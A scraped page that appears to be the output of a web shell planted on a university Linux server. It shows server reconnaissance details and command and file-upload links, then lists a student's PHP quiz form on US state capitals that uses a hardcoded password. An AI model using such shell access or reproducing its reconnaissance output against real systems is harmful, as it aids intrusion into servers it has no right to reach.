Server IP : 172.16.15.8 / Your IP : 18.188.132.71 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/tmrandall/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Assign2Ques1sessionselectionform.php Author: Taylor Randall Instructor: Dr. Wang Due: Sunday, February 19,2023 --> <?php session_start(); $pass = $_POST['pass']; $_SESSION['psw'] = $pass; if($pass != "hw12") print "go away."; else { ?> <CENTER> <H2> Capitals of Cities (Assignment 2) </H2> <HR> <FORM action= Assign2Ques1sessionselect.php method=post> What is the capital of Maryland? <INPUT type=radio name=q1 value=Annapolis checked>Annapolis <INPUT type=radio name=q1 value=Baltimore> Baltimore <INPUT type=radio name=q1 value=Waldorf> Waldorf <INPUT type=radio name=q1 value=DC(District of Columbia)>DC (District of Columbia) <P> What is the capital of California? <INPUT type=radio name=q2 value=Los Angeles checked> Los Angeles <INPUT type=radio name=q2 value=Sacremento> Sacremento <INPUT type=radio name=q2 value=San Francisco> San Francisco <INPUT type=radio name=q2 value=Malibu> Malibu <P> What is the capital of Flordia? <INPUT type=radio name=q3 value=Orlando checked> Orlando <INPUT type=radio name=q3 value=Tampa > Tampa <INPUT type=radio name=q3 value=Tallahassee> Tallahassee <INPUT type=radio name=q3 value=Pensacola> Pensacola <P> What is the capital of Georgia <INPUT type=radio name=q4 value=Savannah checked> Savannah <INPUT type=radio name=q4 value=Augusta> Augusta <INPUT type=radio name=q4 value=Columbus> Columbus <INPUT type=radio name=q4 value=Atlanta> Atlanta <P> <INPUT type=submit value="Submit Form"> <INPUT type=reset value="Reset Form"> </FORM> </CENTER> <?php } ?>